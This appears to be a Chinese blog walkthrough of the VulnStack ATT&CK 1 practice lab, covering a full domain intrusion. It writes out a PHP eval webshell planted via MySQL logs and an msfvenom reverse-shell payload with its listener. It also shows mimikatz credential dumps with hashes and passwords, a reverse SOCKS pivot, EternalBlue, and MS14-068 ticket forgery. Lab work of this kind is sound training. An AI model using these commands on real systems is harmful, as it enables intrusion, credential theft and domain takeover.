follow my dream

VulnStack_0x01

字数统计: 3k阅读时长: 14 min
2020/05/10 Share

[toc]

VulnStack 0x01

靶场复现 - ATT&CK 1

下载链接: 漏洞详情 (qiyuanxuetang.net),喵的还是CS快乐

描述

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:

一、环境搭建
1.环境搭建测试
2.信息收集

二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集

三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞

四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权

五、构建通道
18.内网其它主机端口-代理转发

六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用

七、痕迹清理
25、日志清理

DNS可能会出现问题

由于WIN7链接外网,所以有可能会DNS解析出现问题导致vulnstack rpc 服务器不可用 1722

修复方法如下:

C:\Windows\System32\drivers\etc\HOSTS中添加

1
2
192.168.52.138 owa.god.org
192.168.52.138 god.org

基本信息

name host password 说明
win7 192.168.52.143 | 192.168.128.131 Passw0rd WEB服务器
win2k3 192.168.52.141 Passw0rd 域成员
win2008 192.168.52.138 Passw0rd/hongrisec@2019 域控服务器
kali 192.168.128.130 attack

漏洞利用

result of dirsearch

/yxcms

/phpmyAdmin

/phpMyAdmin

yxcms - webshell

  • 访问 yxcms

在右下角form中有提示

image-20210302094403968

/index.php?r=admin进入。 后台的用户名:admin;密码:123456,请进入后修改默认密码。

  • 访问后台
1
http://192.168.128.131/yxcms/index.php?r=admin
username password
admin 123456
  • webshell

image-20210302095256830

利用修改页面功能写webshell

image-20210302095238138

phpmyadmin - webshell

访问 phpmyAdmin

使用默认密码

username password
root root

getshell的常见方式:
1、select into outfile直接写入
2、开启全局日志getshell
3、使用慢查询日志getsehll

[Shell]MySql慢查询日志GetShell - 肖洋肖恩、 - 博客园 (cnblogs.com)

4、使用错误日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell

  • 查看secure_file_priv

image-20210302095622541

注意secure_file_priv为NULL,不允许导入|导出

  • 采用日志的方法

    • 查看权限

    show global variables like "%genera%";

    Variable_name Value
    general_log OFF
    general_log_file C:\phpStudy\MySQL\data\stu1.log
  • 修改权限与Log文件地址

1
2
3
4
set global general_log='ON';
set global general_log_file='C:/phpStudy/WWW/fe1w0.php';
show global variables like "%genera%";
SELECT "<?php @eval($_REQUEST[2234]);?>"
Variable_name Value
general_log ON
general_log_file C:/phpStudy/WWW/fe1w0.php

之后访问http://192.168.128.131/fe1w0.php

msf - 反弹shell

这里没有查杀,就直接msf生成了。

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.20.185.65 lport=23333 -f exe -o reverse_tcp.exe
  • msfconsole
1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 172.20.185.65
set LPORT 23333
run

本机信息收集

命令名 说明
net view 获取当前组的计算机名,查看同一域/工作组的计算机列表
net user 用户信息的查询
`query user
net localgroup administrators 查询本地管理员组信息,通常那个域内机器会包含一些域内的信息
ipconfig /all 查询网络配置信息,判断是否有域的话可以根据DNS的后缀
nslookup 通过反向解析查询命令nslookup来解析域名的IP 地址。使用解析出来的IP地址进 行对比,判断域控制器和DNS 服务器是否在同一台服务器上 dig
systeminfo 获取系统信息
tasklist 查询进程信息,用来查看需要是否存在杀软之类的
netstat -ano 查看端口信息

还有其他常用命令

详情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\tmp> net localgroup administrators
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
Administrator
GOD\Domain Admins
liukaifeng01
命令成功完成。
C:\tmp> systeminfo
主机名: STU1
OS 名称: Microsoft Windows 7 专业版
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 成员工作站
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户

进程迁移

Meterpreter

1
2
3
4
5
getuid # 查看权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
migrate [PID] 迁移进程

主机密码收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
getsystem # 需要system 权限
load kiwi
help kiwi
-----------
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
----------

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Administrator GOD b34ce522c3e4c8774a3b108f3fa6cb6d a87f3a337d73085c45f9416be5787d86 34957e9ba3455a4a99d722b48693ac1123ba5dba
STU1$ GOD 2404e1256ea6c84969dc5b0bef1f6df5 eb4abfba462ce13b563e06d4db43935cac2fdc96

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator GOD Passw0rd
STU1$ GOD ab ac d6 49 23 1d 76 1f ac 9b ab f2 88 57 b6 e9 02 76 a0 ce 60 25 4e 90 d4 4b a8 e3 e8 6a de eb 81 56 63 4f 06 9e 33 f3 ee 56 62 d5 4e 53 55 84 d0 79 7c da ad 7e bc 5f e4 83 86 e6 53 7c 06 ab b7 a3 40 0b ab c6 75 f2 bd e6 19 a0 8e fe cb 18 cf f7 5e 52 92 e3 dd 82 ed 8d e0 da 46 b9 92 fd 23 22 60 27 db d3 09 57 51 8d b5 99 b0 22 73 b4 88 cd f2 fe 97 e1 7b 22 8e 2d 85 f4 9c ea bd 6c 4f cf be 1d 36 ac 7a c0 40 76 54 e6 a9 3b 6e d1 7d b3 fc f5 2a ff d5 90 05 5c 4a 81 bf 48 8b 41 c3 44 68 03 36 5c 0a 86 c3 a9 a1 4d ed e2 ef 4d 6b 59 0e 72 8c c5 f4 4b 8e 92 bd ac 36 fe 5c ee f9 9a a8 7f ca 57 a9 8b 52 49 26 7b 7b fe 61 f1 11 35 98 35 b5 ae b0 e9 89 56 00 d1 ea 67 2a 06 48 d5 bd 13 72 6d de 1e e8 f5 2e 66 fb bb b6 82

tspkg credentials
=================

Username Domain Password
-------- ------ --------
Administrator GOD Passw0rd

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator GOD.ORG Passw0rd
stu1$ GOD.ORG ab ac d6 49 23 1d 76 1f ac 9b ab f2 88 57 b6 e9 02 76 a0 ce 60 25 4e 90 d4 4b a8 e3 e8 6a de eb 81 56 63 4f 06 9e 33 f3 ee 56 62 d5 4e 53 55 84 d0 79 7c da ad 7e bc 5f e4 83 86 e6 53 7c 06 ab b7 a3 40 0b ab c6 75 f2 bd e6 19 a0 8e fe cb 18 cf f7 5e 52 92 e3 dd 82 ed 8d e0 da 46 b9 92 fd 23 22 60 27 db d3 09 57 51 8d b5 99 b0 22 73 b4 88 cd f2 fe 97 e1 7b 22 8e 2d 85 f4 9c ea bd 6c 4f cf be 1d 36 ac 7a c0 40 76 54 e6 a9 3b 6e d1 7d b3 fc f5 2a ff d5 90 05 5c 4a 81 bf 48 8b 41 c3 44 68 03 36 5c 0a 86 c3 a9 a1 4d ed e2 ef 4d 6b 59 0e 72 8c c5 f4 4b 8e 92 bd ac 36 fe 5c ee f9 9a a8 7f ca 57 a9 8b 52 49 26 7b 7b fe 61 f1 11 35 98 35 b5 ae b0 e9 89 56 00 d1 ea 67 2a 06 48 d5 bd 13 72 6d de 1e e8 f5 2e 66 fb bb b6 82

内网搜集

内网–继续信息收集

  • whoami /all 查询域SID
  • net user test1 /domain 查询当前指定账户的详细信息
  • net config workstation 查询当前登录域及登录用户信息
  • net time /domain

一般会有三种情况:

存在域,但当前用户不是域用户,提示说明权限不够

存在域,并且当前用户是域用户

当前网络环境为工作组,不存在域

  • net group "Domain Controllers" /domain 查找域控

也可以采用 WMIC脚本来收集

http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

探测域内其他主机

这里使用msf中的arp模板

1
2
3
4
5
6
7
8
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24

[*] Running module against STU1
[*] ARP Scanning 192.168.52.0/24
[+] IP: 192.168.52.138 MAC 00:0c:29:ed:27:cb (VMware, Inc.)
[+] IP: 192.168.52.143 MAC 00:0c:29:18:e1:36 (VMware, Inc.)
[+] IP: 192.168.52.141 MAC 00:0c:29:64:85:1b (VMware, Inc.)
[+] IP: 192.168.52.255 MAC 00:0c:29:18:e1:36 (VMware, Inc.)
1
2
3
4
5
C:\tmp> nbtscan-1.0.35.exe 192.168.52.0/24 >z.txt
*timeout (normal end of scan)
192.168.52.138 GOD\OWA SHARING DC
192.168.52.141 GOD\ROOT-TVI862UBEH SHARING
192.168.52.143 GOD\STU1 SHARING
ip 说明
192.168.52.138 DC
192.168.52.141 域内其他机器
192.168.52.143 当前机器win7

开启代理

MSF 开启代理 [不太推荐]

虽然搭建方便,但response会出现一些问题(字符集不一样的情况下)

使用use auxiliary/server/socks_unc

1
2
3
background
use auxiliary/server/socks_unc
run

修改 /etc/proxychains4.conf

1
socks5 127.0.0.1 1080

image-20210302154935530

Earthworm [推荐]

浅谈内网渗透代理 - 先知社区 (aliyun.com)

反弹 SOCKS v5 服务器

需要先上传ew_for_Win.exe到边界机

  • kali

修改proxychains文件

文件地址 /etc/proxychains.conf

修改为

1
2
3
4
5
6
7
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
#socks5 192.168.21.144 1080
socks5 127.0.0.1 1080

监听1080端口

1
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
  • win7
1
ew_for_Win.exe -s rssocks -d 192.168.128.130 -e 8888

Nmap 探测

MS08-067

1
proxychains nmap -n -p445 --script smb-vuln-ms08-067 192.168.52.141 192.168.52.143 192.168.52.138

结果如下:

image-20210302172056792

MS08-067 [error]

1
2
3
use exploit/windows/smb/ms08_067_netapi 
set RHOSTS 192.168.52.141
run

双后打出GG,换了好几个target,还是不行

image-20210303022601013

MS17-010 [error]

Microsoft 安全公告 MS17-010 - 严重 | Microsoft Docs

1
2
3
4
5
6
7
8
9
10
11
12
13
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.138 192.168.52.141
run
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.52.141:445-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.52.141:135-<><>-OK

[+] 192.168.52.141:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 x86 (32-bit)
[*] Scanned 1 of 2 hosts (50% complete)
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.52.138:445-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.52.138:135-<><>-OK
[+] 192.168.52.138:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed

exploit

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.52.138 192.168.52.141
show options
run

image-20210302174121213

Error有可能会报的,而且贼不稳

可以使用进程迁移 run post/windows/manage/migrate,但效果平平

mimikatz

之后可以利用mimikatz来获取密码

1
2
3
4
getsystem # 需要system 权限
load kiwi
help kiwi
creds_all

hash 传递 [Error]

1
2
3
4
5
6
use exploit/windows/smb/psexec
set RHOSTS 192.168.52.138
set SMBDomain god.org
set SMBUSER Administrator
set SMBPASS Passw0rd
set payload windows/meterpreter/reverse_tcp

MS 14-068

之前coblatstrike 获得

UserName PassWord
Administrator Passw0rd

获得 SID

1
2
3
4
5
6
7
8
9
10
11
beacon> shell whoami /user
[*] Tasked beacon to run: whoami /user
[+] host called home, sent: 43 bytes
[+] received output:

用户信息
----------------

用户名 SID
================= =============================================
god\administrator S-1-5-21-2952760202-1353902439-2381784089-500

生成票据

下面使用 pykek 生成票据,首先用 cs 开一个 socks 代理,然后用 proxychainspykek 带入内网

1
proxychains python2 ms14-068.py -u Administrator@god.org -s S-1-5-21-2952760202-1353902439-2381784089-500 -d 192.168.52.138 -p Passw0rd

然后使用 KrbCredExport.ccachekirbi 格式。

1
python2  /home/kali/KrbCredExport/KrbCredExport.py TGT_Administrator@god.org.ccache Administrator.ticket

在beacon中kerberos_ticket_use,选择

其他方式

minikatzhashdump

net view

cobaltStrikenet view

image-20210303132911371

image-20210303133349136

选择并psexec,最后拿下

image-20210303133609865

CATALOG
  1. 1. VulnStack 0x01
  2. 2. 靶场复现 - ATT&CK 1
    1. 2.1. 描述
    2. 2.2. DNS可能会出现问题
    3. 2.3. 基本信息
    4. 2.4. 漏洞利用
      1. 2.4.1. yxcms - webshell
      2. 2.4.2. phpmyadmin - webshell
      3. 2.4.3. msf - 反弹shell
      4. 2.4.4. 本机信息收集
      5. 2.4.5. 进程迁移
      6. 2.4.6. 主机密码收集
    5. 2.5. 内网搜集
      1. 2.5.1. 内网–继续信息收集
        1. 2.5.1.1. 探测域内其他主机
      2. 2.5.2. 开启代理
        1. 2.5.2.1. MSF 开启代理 [不太推荐]
        2. 2.5.2.2. Earthworm [推荐]
      3. 2.5.3. Nmap 探测
        1. 2.5.3.1. MS08-067
      4. 2.5.4. MS08-067 [error]
      5. 2.5.5. MS17-010 [error]
        1. 2.5.5.1. exploit
        2. 2.5.5.2. mimikatz
        3. 2.5.5.3. hash 传递 [Error]
      6. 2.5.6. MS 14-068
        1. 2.5.6.1. 获得 SID
        2. 2.5.6.2. 生成票据
      7. 2.5.7. 其他方式
        1. 2.5.7.1. net view